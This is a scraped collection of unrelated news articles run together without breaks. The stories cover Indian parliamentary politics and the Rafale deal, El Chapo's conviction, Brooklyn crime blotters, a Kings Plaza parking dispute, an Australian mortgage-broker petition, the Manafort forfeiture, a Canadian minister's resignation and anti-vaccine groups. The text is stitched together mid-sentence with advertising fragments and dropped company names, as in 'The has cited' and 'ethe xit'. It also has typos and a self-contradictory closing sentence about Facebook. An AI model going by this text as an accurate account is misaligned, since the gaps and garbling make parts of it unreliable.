Due to the adjournment of the Upper House, The Musilm Women (Protection of Rights on Marrrige) Bill and The Citizenship (Amendment) Bill, which have generated much heat, will lapse. The Bills were passed in Lok Sabha and were scheduled to be introduced in Rajya Sabha.

General elections are due in May.

According to the Rajya Sabha Legislative Procedure, a Bill pending in the Upper House which has not been passed by Lok Sabha does not lapse on the dissolution of the Lower House. But a Bill which is passed by Lok Sabha and is pending in Rajya Sabha stands lapsed on the dissolution of Lok Sabha.

Following disruption by Samajwadi Party members in Rajya Sabha and its subsequent adjournment on Tuesday, sources had said that the Centre was considering extending the current session of the Upper House of Parliament by a couple of days.

The Citizenship (Amendment) Bill, which was passed in Lok Sabha on January 8, seeks to provide citizenship to non-Muslims from Bangladesh, Pakistan, and Afghanistan who came to India before December 31, 2014.

Attempts by the government to introduce the Bill in Rajya Sabha in the past six weeks were thwarted by the Opposition which sought it be referred to a Select Committee.

The passage of the Bill in Lok Sabha has led to widespread protests in the North East.

Prohibitory orders under Section 144 of Code of Criminal Procedure (CrPC) were imposed in East and West Imphal districts ahead of the proposed tabling of citizenship Bill in Rajya Sabha.

The triple talaq Bill was passed in Lok Sabha on December 27 last year with 245 votes in favour and 11 against it.

The Opposition parties want the Bill to be sent to a Select Committee of Parliament for further vetting, a demand rejected by the Centre. However, an ordinance was re-promulgated in January this year as the revised Bill could not be passed in Rajya Sabha where the government lacks majority.

The Bill criminalises the practice of instant triple talaq with a provision of three years imprisonment to the erring husband.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Congress president Rahul Gandhi on Wednesday refused to accept the report of the Comptroller and Auditor General (CAG) on the Rafale fighter deal, raising questions over various elements in it.

Addressing a press conference hours after the CAG report was tabled in Parliament, Gandhi, citing a media report, claimed that three members of the Indian Negotiating Team (INT) had given a "dissent note" which was not included in the report.

Earlier in the day, Air Marshal RKS Bhadauria, the chairman of the INT in the 36 Rafale deal, told ANI that the three members of his team had raised certain objections which were "not dissent" as these were "suitably included and addressed" in his final report.

"I don't believe in the CAG report. As far as I am concerned, a CAG report that does not mention this document - the dissent that the negotiating team itself made on price and timing, I don't think it's worth the paper," Gandhi told the press conference.

Among other things, the CAG report states that 17.08 per cent of money was saved for the India-specific enhancements in the 36 Rafale plane deal.

"The Prime Minister, Defence Minister and the Finance Minister had earlier argued that the new deal was based on two things - price and the fact that Air Force needed planes quickly. The new deal that Narendra Modi signed gets India the aircraft later than the original deal. Even the CAG report states that Narendra Modi, Nirmala Sitharaman and Arun Jaitley lied to Parliament when they talked about 9 to 20 per cent," Rahul added.

Citing the note of the Defence Ministry's technical experts who were negotiating the Rafale deal, Rahul said that the "final price offered by the French government which is escalation based, is 55.6 per cent above the benchmark, which is for firm and fixed price. Considering the future escalation till the time of delivery, the gaps in the benchmark and the final price would further increase."

"The new deal that Narendra Modi signed gets India the aircraft later than the original deal," Rahul said.

Bhadauria, earlier in the day, told ANI that the observations by the three members were part of the deliberations of the INT and should not be viewed as a 'dissent note' as stated in a newspaper report today.

"These observations from three members were given to me as the INT chairman. This was not a dissent note. All the issues brought out were discussed earlier also since these points were brought up during discussions within INT and taken up in external negotiations," Bhadauria said while commenting on the media report which suggested that three members had submitted an eight-page "dissent note".

.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)In his last speech in the 16th Lok Sabha, Prime Minister Narendra Modi on Wednesday took potshots at Congress President Rahul Gandhi for his various gestures and comments made in the House during the last 5 years, including raking up of the Rafale fighter deal.

He listed various initiatives of his government which were endorsed by the House during its term and said "a lot more needs to be done", inferring his intent to return to power.

In this context, he thanked Samajwadi Party veteran Mulayam Singh Yadav for wishing that he returns to the top post.

Modi also appeared to be sending a message to the voters as he emphasised that the world had taken India more seriously during his tenure because his government had a full majority in Parliament.

"This was the first House without a Congress 'gotra' (lineage)," he said in his valedictory address.

He used the occasion to take potshots at Gandhi, who was not present in the House but was addressing a press conference at the Congress headquarters over the CAG report on Rafale fighter deal.

"We used to hear that an earthquake will occur. Five years of this House are coming to an end but we did not see any earthquake," Modi said, evoking laughter from the ruling benches.

He was apparently referring to Gandhi's comments made long back that if he speaks in the House, there will be an earthquake.

The Prime Minister also referred, in a veiled manner, to raking up of the Rafale deal by Gandhi, saying "Kuch havai jahaz bhi udaye gaye (Some planes were also flown),"

He then went on to add that the might and stature of democracy is such that no plane can reach that level.

"Neither did any plane fly nor any earthquake occurred," he said.

At another point, Modi took a dig at Gandhi while referring, in a veiled manner, to the hug the Congress President gave to him in House in July last year during the No-Confidence Motion. Gandhi, after making a speech, had walked across the House and hugged a seated Modi, to his utter surprise.

"For the first time, I understood the difference between hugging and piling on," Modi quipped.

The Prime Minister also did not forget to mention, again in a veiled manner, the gestures which Gandhi was caught making in the House, twice.

"This is also the first time I saw playful exchange of glances in the House," he said.

He observed that the House had witnessed "nok jhonk" (trading of barbs) several times between the government and the Opposition.

He, however, regretted that at times, the discourse was not pleasant.

Recalling the achievements of the 16th Lok Sabha, the Prime Minister said a number of firsts were achieved its term.

"Several sessions in this Lok Sabha had good productivity... Overall the productivity was 85 per cent...This is a very good sign. I want to appreciate the role of the Speaker (Sumitra Mahajan) in conducting the proceedings of the House, as well as Vice President Venkaiah Naidu Ji (who is the Chairman of Rajya Sabha)," the Prime Minister said.

He paid tributes to former Parliamentary Affairs Minister Ananth Kumar who passed away a few months back. "We definitely miss the cheerful Ananth Kumar," he said.

"We will be proud of this 16th Lok Sabha, as it saw the highest number of women members elected to the House. 44 first time women MPs were time elected to the Lok Sabha. It is a matter of great pride that even our External Affairs Minister, Defence Minister, Speaker and registrar are women," he said.

Prime Minister Modi also said that the strength of a majority government is one that holds significance on an international level.

"It is after three decades that a majority government came to power in the country. It is for the first time after independence that a government was formed without the help of the Congress lineage," he said.

Recalling the measures taken by his government, the Prime Minister said members of this Lok Sabha should be proud as they were part of the House that enacted several crucial legislations like the GST, increased maternity leave from 12 to 26 weeks, and introduced stringent laws curbing black money, shell companies and benami laws.

He added that this House made Aadhaar a superpower.

"Ours is the 7th fastest growing economy, and our self-confidence is at an all-time high," the Prime Minister said.

He said the world is discussing global warming and India took a lead in the formation of the International Solar Alliance to mitigate this menace.

While signing off, Modi said now since all the parties will again be going to the people, the discourse should be healthy.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Joaquin "El Chapo" Guzman Loera, the Mexican drug kingpin who minted millions as the head of the infamous Sinaloa cartel for several years, was found guilty on all 10 criminal counts against him by a US federal court on Tuesday (local time).

During the trial that went on for 11 weeks, Guzman was convicted on numerous counts including money laundering, engaging in a continuing criminal enterprise, distribution of heroin and cocaine and other drugs, and illegal arms possession.

Although, the 61-year-old Mexican drug lord has not been sentenced, he faces a mandatory sentence of life imprisonment. He is slated to be formally sentenced on June 25, CNN reported.

As US District Judge Brian Cogan read out the verdict and confirmed the same with 12 people -- eight women and four men on the jury, Guzman remained normal and there was no visible emotional reaction from the Mexican drug lord.

His wife, Emma Coronel, a 29-year-old former beauty queen was also present at the court.

US Attorney for Eastern District of New York Richard Donoghue said that "the case was a victory for the people of America and Mexico, who had lost their loved ones in drug wars."

El Chapo (meaning shorty), who was once listed on Forbes' list with an estimated worth of USD 1 billion, is accused of helping to export hundreds of tonnes of cocaine into the US and of conspiring to manufacture and distribute heroin, marijuana and other drugs.

Under Guzman, the Sinaloa cartel smuggled hundreds of tonnes of narcotics to wholesale distributors in Arizona, Atlanta, Chicago, Los Angeles, Miami and New York.

He was believed to have used hitmen to carry out murders, kidnappings and assaults on international political leaders and rivals.

Guzman first escaped from a Mexican jail in 2001 in a laundry cart and repeated the same again in 2015, this time through a tunnel. After a year on the run, the Mexican drug kingpin was recaptured.

He was extradited to the US in 2017 to face American federal charges.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The best bang for your buck! This option enables you to purchase online 24/7 access and receive the Sunday, Tuesday & Thursday print edition at no additional cost * Print edition only available in our carrier delivery area. Allow up to 72 hours for delivery of your print edition to begin. Print edition not available for Day Pass option.The Indian government has proposed the construction of Lower Arun Hydropower Project in Nepal with a capacity of 400 Megawatts (MW).

"In a meeting with Minister for Energy, Water Resource and Irrigation Barshaman Pun at New Delhi on Monday, Indian Minister of State for Power Raj Kumar Singh put forth a proposal that the new project can be developed adopting the same model of 900-MW Arun III project," state-run Rastriya Samachar Samiti (RSS) reported.

"A proposal has been made from Indian side to develop the Lower Arun on the same model being adopted by Indian company while constructing the Arun III. Nepal has put its stance for further discussion observing the progress on the construction of Arun III," Minister Pun was quoted by the agency as saying.

Minister Pun noted that the Nepal government would make a proper decision whether or not to award the construction of Lower Arun to India after seeing the progress in Arun III hydro project.

Minister Pun arrived in New Delhi to participate in the International Sustainable Development Conference that began from Monday.

It may be noted that the Nepal Energy Ministry had scrapped the license of the Lower Arun project as per the directive of the Commission for Investigation of Abuse of Authority (CIAA) when the Brazilian Company 'Brass Power' failed to perform according to the conditions stipulated in the license.

The Brazilian company did not make any progress on the project in the last 15 years since the license was awarded.

The project investment is estimated to be over Rs 100 billion. Nepal Energy Ministry has estimated that the project would be of around 1000 MW capacity if it is designed in a way to export power to India, according to the report.The Department of Electricity Development is carrying out the project feasibility and detail study. India has put forth the proposal to build the Lower Arun project by keeping all conditions stipulated in Arun III.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)In an anti-narcotic drive the police department in Agartala destroyed large number of bottles of Bangladesh-bound smuggled cough syrup and huge quantities of marijuana, worth Rs 1 crores.

DIG Home Guard UK Majumder said, "1,947kg of ganja (marijuana) and 20,050 bottles of Phensedyl, worth more than 1 crore that was seized earlier by two police stations is being destroyed."

Elaborating on the seizure, he added, "The state government has ordered for drug seizure in the state and it has two committee - state level and high level committee. The seized drugs are immediately taken to the magistrate and then the samples are sent to FSL and after the report is out, with permission of the court it is the proposal for destruction is sent."

Reportedly, the cost of caught consignment increases up to four times after reaching Bangladesh where it is banned and used as a substitute for liquor.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)In a major relief to the Maharashtra government, the Supreme Court on Wednesday set aside the Bombay High Court order refusing to extend the 90-day deadline to file a charge sheet against five human rights activists in connection with the Bhima Koregaon case.

A bench of Chief Justice Ranjan Gogoi, Justice Sanjay Kishan Kaul and Justice L Nageswara Rao upheld the extension of time granted to the Pune Police by the Special Court of Pune.

The five activists will now have to seek regular bail and are not entitled to default bail which is granted at the lapse of the prescribed 90-day period.

The activists - Surendra Gadling, Shoma Sen, Mahesh Raut, Rona Wilson and Sudhir Dhawale - were arrested on June 6 last year under the Unlawful Activities (Prevention) Act, which requires a charge sheet to be filed within 90 days of arrest.

A special court in Pune had granted the police 90 additional days just two days before the deadline was to expire. However, the Bombay High Court had set aside the order on October 24 last year, following which the Maharashtra government approached the top court.

Violence had erupted during the 200th-anniversary celebrations of the Bhima-Koregaon battle in January last year, leaving one dead and several others injured.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Muttahida Qaumi Movement (MQM) chief Altaf Hussain appealed to the Indian citizens to help Mohajirs in Pakistan.

The Mohajirs are Urdu-speaking people who had migrated to Pakistan after the Partition in 1947.

In his message to Hindus, Sikhs and Christians of India, Hussain said that Mohajirs were Indian citizens. "Pakistan was not founded by Mohajirs of Pakistan but they were their forefathers who did it. Mohajirs are facing genocide in Pakistan since 1947 and their children are a victim of sheer bias and discretion at the hands of the military establishment," he asserted.

He said that Pakistan is being sold to China and Pakistani military would stand the ultimate beneficiary instead.

The MQM founding leader also called upon the Indian parliamentarians to step forward for the help of Mohajirs in the name of humanity. "India and Mohajirs are of same origins and hence the Indian parliamentarians should recognise them as their own family," said Hussain.

He expressed hope that the Indian parliamentarians would ultimately raise their voice for the Mohajirs.

"The Indian parliamentarians should also raise their voice at the UN for the oppressed communities in Pakistan like Pashtuns, Balochs and religious minorities like Shiite, Hindu, Ahmadi, Parsi and others," he added.

Hussain asserted that Mohajirs had been duped in the garb of Islam, adding they chose to migrate to Pakistan while leaving their homes and graves of their forefathers, their culture and traditions behind in India.

He accused the Pakistani military of treating the Mohajirs like "animals", saying that the military "crossed all limits of cruelty."

Dubbing the Partition as a "vast blunder", the MQM chief asserted that the break-up divided the Mohajirs of both India and Pakistan.

Hussain urged the Mohajirs in Pakistan and across the globe that they should approach their relatives in India and inform them of the "devastating situation" they are passing through in Pakistan.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)A United Nations report, on Wednesday, revealed that around 43 per cent of North Korea's population is "food insecure", with one out of five children facing "chronic malnutrition".

"The country is critically dependent on agriculture for its food security, which has been severely affected over the past six years by natural disasters, such as floods and drought, which erode farmers' coping capacities," the UN report highlighted, outlining natural disasters to be one of the main reasons behind the hunger crisis.

The report further outlines that humanitarian assistance to the tune of USD 10 million would be required by the United Nations to extend aid to around 5,13,000 North Koreans who are believed to be in dire need.

Meanwhile, Russia is considering shipping 50,000 tonnes of wheat as assistance to Pyongyang on the latter's request, reports Yonhap News Agency. Moscow has previously been providing aid to North Korea, and if the plan for the latest aid is seen through, Russia's commitment of USD 8 million under the Food Programme "will be fulfilled in full".

The UN report has also mentioned that the food shortage will get worse going forward, due to a shortage of arable land and lack of access to modern-day farming equipment.

Furthermore, humanitarian assistance to the Democratic People's Republic of Korea is being hampered by sanctions against the nation. Pyongyang has repeatedly asked for relief in sanctions in exchange for the denuclearisation steps which have been taken by the nation. However, the United States has reinforced that sanctions will be in place until complete denuclearisation is not achieved - a stand which directly affects the food insecurity situation.

Leaders from North Korea and USA, setting their differences aside, are slated to hold the second US-North Korea summit in Hanoi, Vietnam on February 27 and 28 to further the denuclearisation process. The first preparatory meeting for the summit has already been held between Washington and Pyongyang last week in the North Korean capital, while the second round will be held next week, according to the South Korean Presidential office.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Shares of Aavas Financiers were trading higher for the fifth straight day, rising 3 per cent to Rs 915 apiece on the BSE in intra-day trade on Wednesday. The stock was trading at its highest level since listing on October 8, 2018. Aavas Financiers has rallied 50 per cent from its 52-week low of Rs 611 touched on October 31, 2018.

In comparison, the S&P BSE Sensex was up 5 per cent during the same period. The stock had made a weak debut, as the scrip got listed at Rs 750, 9 per cent below its issue price of Rs 821 on the BSE. In past two weeks, after the December 2018 (Q3FY19) ...Type address separated by commas

Your Email:The Wadia group-promoted no- frills has seen ethe xit of its third chief executive in the past four years with the resignation of Cornelis Vrieswijk Wednesday, within nine months of taking over the job.

The Dutch national Vrieswijk was a former executive of the American low-cost and boarded only last June when it was preparing to fly international.

He joined six months after the departure of then chief executive Wolfgang Prock-Schauer on a bitter note and then checked into the rival as its chief operating officer from January 2018.

The has cited "family matters," as the reason for Vrieswijk's abrupt exit and said managing director Jeh Wadia will be discharging the additional responsibility of the chief executive till a replacement is found.

"It is unfortunate that despite best efforts, my family did not shift to India but rather wants me to be back with them in Amsterdam," Vrieswijk was quoted as saying in a statement issued by the airline.

The latest domestic carrier to fly international, Goair currently operates across 24 domestic and three international destinations.

"At the nominations and remunerations committee meeting held by the board on February 8, Vrieswijk expressed his desire to relocate to Amsterdam since his family was not wishing to settle down in Mumbai.

"The board understood his compulsions to move back and accepted his reasoning to move on," the airline said, adding he will stay on to ensure a smooth transition.

"We recognise Vrieswijk's contribution to the airline, but at the end-of-the-day, for him, it was family calling," Wadia was quoted as saying in a statement.

"Going forward, I will take over the CEO's role until a suitable replacement takes place," he added.

While Vrieswijk served the carrier for a little over eight months, his predecessor and former Jet Airways chief executive Prock-Schauer remained at the helm for two-and-a- half years before heading to

However, Prock-Schauer's predecessor Giorgio de Roni was with the airline for four years--the longest in its history having started in November 2005--before quitting on health grounds in April 2015.Texans who are not prohibited by state or federal law from possessing a gun can carry handguns without a license or training starting Sept. 1, after Gov. Greg Abbott signed permitless carry bill into law. Will this spur handgun sales?

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Digital EditorSign up for our PoliticsNY newsletter for the latest coverage and to stay informed about the 2021 elections in your district and across NYC

72nd Precinct

Sunset ParkWindsor Terrace

Bad company

Cops are looking for four female thieves wanted for beating and robbing a woman on Sixth Avenue on Feb. 7.

The victim told police she noticed the girly goons following her as she neared 55th Street on her way home at 8:35 pm, and she tried to crossed the street to get away from her stalkers.

But her assailants crossed with her and then launched their attack, cold-cocking her from behind and pushing her to the ground, before nabbing her purse and fleeing, cops said.

Busted

Cops cuffed a 30-year-old man on an attempted burglary charge after he allegedly tried to break into a Reeve Place home on Feb. 9.

The victim told police he was in bed sleeping with his wife at their home near Prospect Avenue at 2:15 am when he was awoken by the sound of the suspect trying to break down his front door.

Unable to get through the main entrance, the suspect then tried a side door, before climbing up to the second floor and breaking a sliding glass door, cops said.

No property was stolen and New Yorks Finest showed up to arrest the man that day, according to police.

Caravan

Some crook drove off with a womans 2000 Dodge Caravan she parked on 44th Street on Feb. 8.

The victim told police she left her carry-all between Fourth and Fifth avenues at 10:30 pm, and returned the next morning to find an empty spot where her car had been.

Soft target

Police cuffed a 48-year-old woman for allegedly sucker-punching a 75-year-old woman in the face inside a 37th Street apartment on Feb. 5.

The victim told police she was arguing with the suspect inside the rental between Fourth and Fifth avenues at 10:30 am, when she hauled off and slugged her.

Police picked up the suspect that day on a felony assault charge, cops said.

 Colin MixsonSign up for our PoliticsNY newsletter for the latest coverage and to stay informed about the 2021 elections in your district and across NYC

Theyve got a lot of anger!

Locals are fuming over new parking-fee hikes at Kings Plaza Shopping Center that mall bigwigs implemented earlier this month.

The new parking rates effective Feb. 1  which cost $3 for two hours, $4 for three hours, $5 for four hours, and $10 for between four and 24 hours  are an attempt to replace revenue the Avenue U mall will lose by stopping its illegal scheme to rent out hundreds of spaces as storage for local car dealerships, claimed a local civic leader.

Now that we recently caused the removal of the storage of more than 400 illegally parked cars from neighboring dealerships from their parking lot, they raised the parking fees for the shoppers, said Dottie Turano, the district manager of local Community Board 18.

Last year, the city ordered the malls current owners, Brooklyn Kings Plaza LLC, to remove hundreds of cars without license plates illegally stored on the Kings Plaza lot following a disastrous September arson attack that injured 21 and destroyed hundreds of vehicles.

Officials issued the company a $1250 fine in October  and a second violation last Friday, when Department of Buildings inspectors returned to discover 500 cars without license plates still stored the garage, some 50 more vehicles than they found in an inspection shortly after the fire.

The new parking rates  which also include a $10 charge for lost tickets  will also hurt Kings Plazas business, because they will force customers to patron other retailers with cheaper or free spots, according to another local leader.

Theyre shooting themselves in the foot, said Sal Calise, the president of Bergen Beach Civic Association. Locals are seeking out other options, such as Gateway Center Mall, Macys Backstage on Emmons Avenue, or Century 21 on 86th Street.

When the mall first opened its doors in 1970, shoppers could park in the garage for free. But over the years, its different owners added a flat fee to park, starting at 50 cents and increasing incrementally to $3, the price before the new rates kicked in.

Turano admitted there is nothing legally stopping Kings Plaza bigwigs from jacking up the parking prices, but said mall operators should think twice about nickel-and-diming the community where she said it already put many mom-and-pop shops out of business since it opened.

Its not even the fee, theyre not being good neighbors, theyre putting mom and pop stores out of business, the civic leader said.

And she agreed that customers will likely take their business elsewhere as a result of the latest hikes, claiming parking lots at stores next door to Kings Plaza  including Lowes and Walgreens, which charge no fees to patrons arriving in cars  filled up with vehicles in the days since the mall upped its prices.

You can go to Gateway [Center] or any other mall and not pay for parking, Turano said. We drove past last weekend and Lowes parking was packed.

The change in fees is also driving more Kings Plaza customers to walk to the mall after stowing their rides in the parking lot outside the old Toys R Us on Flatbush Avenue, which is growing more crowded by the day since the hikes took place, according to Turano.

Theyre even parking by Toys R Us, which has been happening before but now its getting progressively worse, she said. And I dont blame them.

Reach reporter Kevin Duggan at (718) 2602511 or by e-mail at kdugg an@sc hneps media.com . Follow him on Twitter @kduggan16.Sign up for our PoliticsNY newsletter for the latest coverage and to stay informed about the 2021 elections in your district and across NYC

Police arrested a man for allegedly murdering his own mother in their Flatlands apartment days before.

Cops on Wednesday cuffed the 54-year-old and charged him with killing his 75-year-old mom Hyacinth Khaleel, whom they found unconscious with multiple stab wounds inside the Kings Highway apartment the two shared on Monday, police said.

Authorities booked their suspect just after 6:30 pm within the confines of the 63rd Precinct, but a Police Department spokesman could not specify exactly where cops caught up with him.

Officers found Khaleel unresponsive with multiple slashes in her arms and legs while responding to a wellness check at her residence between Flatbush Avenue and Overbaugh Place, cops said.

Paramedics pronounced her dead at the scene, and authorities deemed the death a homicide the next day, due to her multiple stab wounds, according to a Police Department spokeswoman.

But the citys medical examiner has yet to determine a cause of death, according to a spokeswoman.Sign up for our PoliticsNY newsletter for the latest coverage and to stay informed about the 2021 elections in your district and across NYC

88th Precinct

Fort GreeneClinton Hill

While he was sleeping

A pickpocketer swiped a guys wallet while on a Manhattan-bound subway on Feb. 8, police said.

The victim told cops he fell asleep on a Q train after getting on at Church Avenue, and when he woke up near Atlantic Avenue at about 8 am, his iPhone and wallet  with his credit cards and drivers license inside it  were gone, according to authorities.

Shattered glass

Some jerk smashed the window of a womans car parked on Waverly Avenue on Feb. 10 and swiped her bag, wallet, and documents, police said.

The victim said she parked her car near Atlantic Avenue at about 3:30 am and when she went back to get it about an hour later, the back drivers-side window was shattered and the baddie had run off with her Louis Vuitton bag with her wallet, cash, tax forms, and backpack inside it, according to authorities.

No standing anytime

Cops cuffed a guy on Feb. 7 for refusing to leave a Flatbush Avenue Extension fast food joint and assaulting an officer.

A police officer told the suspect to leave the eatery near Fulton Street a little before 3 am, after management had told him to get lost multiple times, but he refused and scratched the cop in the face, according to authorities.

Sandwich snatcher

Police arrested a man who they say stole sandwiches from a Flatbush Avenue Extension store and threatened an employee with a knife on Feb. 9, police said.

The suspect stashed $13 worth of egg salad sandwiches from the chain store near Fulton Street at about 6:30 am, and when an employee tried to stop him, he took out a knife and said, If you dont give me the sandwich, Im going to kill you, according to authorities. Cops ultimately cuffed the suspect after he still continued to fight and push them, police said.

 Julianne CubaSign up for our PoliticsNY newsletter for the latest coverage and to stay informed about the 2021 elections in your district and across NYC

Brooklyn is bursting with wish grantors!

Big-hearted locals from around the borough helped a do-good group grant more wishes of critically ill kiddos in 2018 than ever before, according to leaders of the organization, who cheered the Kings Countians for their overwhelming generosity.

In 2017, we had a severe problem where we didnt have enough grantors for the kids awaiting wishes, said Brooklyn Make-A-Wish Counsel Chairman Khari Edwards. Last year we broke records, now having more wish granters than kids waiting for wishes. It was amazing.

Edwards joined the leadership of the Make-A-Wish Foundations local arm about a year and a half ago. And since then, the chairman amped up the chapters outreach in the borough, and relocated the Make-A-Wish training headquarters from Manhattan to Borough Hall  two changes he said resulted in the programs recent success.

Many think that the Make-A-Wish Foundation is a distant, multi-million-dollar, non-profit organization, Edwards said. My call to action was to educate Brooklyn that its an organization that anyone can jump right into and get their hands dirty to make a tangible impact.

The Brooklynites who helped make the impossible possible  whom the foundation calls wish granters  did so in two ways, with some donating cash to pay for the requests, and others volunteering time to help make the dreams a reality by assisting kids with filing the required paperwork to request wishes, and then planning out the elaborate schemes using funds from the foundation.

Many locals gave up their weekends in order to grant the 2018 wishes  which spanned a wide variety of interests, including visits to Disney World, and going on a glamorous shopping spree, according to Edwards.

This borough is home, and when you challenge folks in Brooklyn to improve the community, they will follow through, he said. There is nothing like seeing the joy of a kids smile when you give them the opportunity to make a wish. We had folks asking to sign up from almost every neighborhood in Brooklyn, which has never been seen before.

The chairman aspires to even further increase the number of Brooklyn granters over the next year, while continuing to highlight the impact that Make-A-Wish has on sick local youngsters, he said.

Think about someone who doesnt know if they are going to see tomorrow, Edwards said. Now think about giving them the opportunity to smile  that will only take a few hours out of your life.

Edwards and other Make-A-Wish leaders recently toasted those locals who helped the youngsters dreams come true at Downtowns City Point shopping center during the foundations third-annual Make-A-Wish Day bash on Jan. 24, the date Borough President Adams dubbed Brooklyn Make-A-Wish Day back in 2017.Latest News Queensland has Australias fastest growing property market They might be losing State of Origin, but there might be some good news for Queensland

MFAA reveals top brokers, lenders in Victoria and Tasmania Check out the list of winners in this years MFAA VIC/TAS State Excellence Awards

A petition to save the mortgage broking industry is gaining a lot of traction as the industry continues to fight against plans to change remuneration.

Broker Rob McFadden began the petition to call on treasurer Josh Frydenberg and prime minister Scott Morrison to ignore the recommendation made by the Royal Commission final report to change broker pay.

The petition also calls on the opposition government to ignore the recommendations. The Labor party has so far said it would agree in principle to every recommendation in the report.

McFadden, who has been a broker for 15 years and now trades under the company Hypotheque, said brokers had been unfairly demonised.

The petition reached more than 70,000 signatures by yesterday.

McFadden said, When the report was made public on Monday, my initial thoughts were that 20,000 small businesses would be wiped out with the strike of a pen.

When I thought more broadly, I realised the impact would be more far-reaching with so much reduced competition. I started the petition in 15 minutes out of frustration and never dreamed it would do so well.

Disagreeing with Commonwealth Bank CEO Matt Comyns comments around trail commission during the Royal Commission hearings, McFadden said the ongoing service model is to review his loans every couple of years, review the terms and negotiate a better rate.

Theres a common misconception out that trail is money for nothing, he added. We work damn hard for that trailing commission, and it allows us to keep in contact with our clients  just last Friday I did four rate renegotiations for existing clients.

So this is the sort of work we do, and we do a stack of things  we do variations, we crunch numbers, we do scenarios  theres a lot of work we do to earn that money. So the statement that its money for nothing is just a complete fallacy.

Most mortgage brokers are small businesses, and most mortgage brokers get their new business through referrals, so if we dont do the right thing by the client then theyre not going to come back, and theyre not going to refer us on to family, friends, colleagues, etc.

Encouraging the rest of the industry to get involved, he added, If every one of 20,000 brokers got 50 of their clients to sign, thats a million votes. So please keep sharing.

As a colleague pointed out today its not just the consumers and brokers that will be affected, jobs are at risk at the smaller and regional banks, plus staff at the big four who might have considered mortgage broking as a career after banking.

You can sign McFaddens petition here.Latest News Queensland has Australias fastest growing property market They might be losing State of Origin, but there might be some good news for Queensland

MFAA reveals top brokers, lenders in Victoria and Tasmania Check out the list of winners in this years MFAA VIC/TAS State Excellence Awards

Two new bills were read in parliament yesterday which could change banking and competition in Australia.

Customer owned banks are celebrating the introduction of one bill which will see key reforms to improve the ability of credit unions, building societies and mutual banks to compete with the big four.

The Treasury Laws Amendment (Mutual Reforms) Bill 2019 amends the Corporations Act to define a mutual entity, reform the demutualisation rules and create a mutual-specific Mutual Capital Instrument (MCI).

As well as increase competition potential, the Customer Owned Banking Association (COBA) said the reforms will enable the sector to more easily raise capital.

Speaking about the reforms for mutual banks, CEO of COBA Michael Lawrence said, With greater competition, comes greater consumer outcomes. Australian consumers need, want and demand greater competition. The introduction of this Bill into parliament is a step towards achieving that.

If the Royal Commission has shown us anything, its what can happen when competition is lacking, and the big players are able to take their customers for granted.

The second bill read in parliament was the Treasury Laws Amendment (Consumer Data Right) Bill 2019, which would see the introduction of open banking, expected to come into effect on 1 July this year.

Ian Pollari, KPMG Australias head of banking and global fintech co-lead, said it was a positive step towards Australias open data eco-system.

It will hopefully provide a greater level of certainty for banks, fintechs and other third-party providers investing in the area. There is however, a lot of work still to be done, from a rules, standards and implementation standpoint - for regulators, such as ACCC and impacted entities.

With the timelines published by the ACCC in January, there is substantial complexity in meeting compliance and technology requirements. In parallel, consumer education and awareness will also be critical and will need to be considered early in the process of engagement.

"The open banking regime is a once-in-a-generation opportunity for Australia to lead the world in implementing a consumer-driven, economy-wide data sharing framework.

Over time, open banking will lead to new business models and change how many financial institutions operate and extend opportunities for them to deliver different, valuable services to consumers and businesses that extend beyond traditional banking products and services."Washington: Some time soon, federal authorities will begin selling off what's left of former Trump associate Paul Manafort's life, a small fortune amassed through a decade of illicit lobbying work. When they do, the investigation into Russian election interference in the US elections stands to breach an unusual milestone: bringing in more money than it has cost.

Trump Tower in New York. Credit:AP

But first, lawyers working for Russia Probe Special Counsel Robert Mueller must reach a deal with another set of opponents, including the Trump Tower condo board.

A handful of banks and the Trump Tower Residential Condominium Board have lined up to argue that they're entitled to parts of the properties and investment accounts valued at about $US26.7 million ($37.5 million) that the former Trump campaign chairman has been forced to give up as part of plea agreement with Mueller's team. Included in the package of New York real estate is a $US7.3 million compound in the Hamptons and a $US3.8 million apartment in Manhattan's Trump Tower.

Many of the claims could be resolved as early as this week, according to court documents. When they are, the investigation Trump has dismissed as a witch hunt and a waste of money will more or less have paid for itself.Ottawa: A Cabinet minister at the centre of an ethics investigation into Prime Minister Justin Trudeau has abruptly resigned, casting a cloud over his Liberal Party in an election year.

The minister, Jody Wilson-Raybould, gave no reason for leaving her position in charge of veterans affairs. But last week, The Globe and Mail, citing unnamed sources, reported that Trudeau or his staff had pressured Wilson-Raybould when she was justice minister to back off the corruption and bribery prosecution of a prominent, Montreal-based engineering company.

Veterans Affairs Minister Jody Wilson-Raybould, right, hands out lucky red envelopes during a Chinese New Year Parade in Vancouver on Sunday. Credit:Canadian Press/AP

According to The Globe and Mail, Wilson-Raybould was asked to order prosecutors, who are independent of politicians in Canada, to seek a "remediation agreement" with the engineering company, SNC-Lavalin, that would prevent a trial in exchange for payment of a fine.

Wilson-Raybould has been silent on the question, citing lawyer-client privilege, and the criminal prosecution has continued without interruption.The rise of "anti-vaxx" Facebook groups is overlapping with a resurgence of measles, a disease that was declared "eliminated" in the US in 2000 because of the measles, mumps and rubella vaccine. But cases have increased in recent years, and at least 10 states have seen outbreaks this winter. Last month, Washington Goveror Jay Inslee declared a state of emergency after 35 cases of measles cropped up in a single county, where nearly a quarter of kids attend school without measles, mumps and rubella immunisation. An anti-vaccination billboard. Credit:Watoday The WHO has named the highly contagious disease a leading cause of death for children. Although the spread of misinformation about immunisations has potentially fatal repercussions, a Facebook spokesperson said the company doesn't believe removing such content doesn't help to increase awareness.

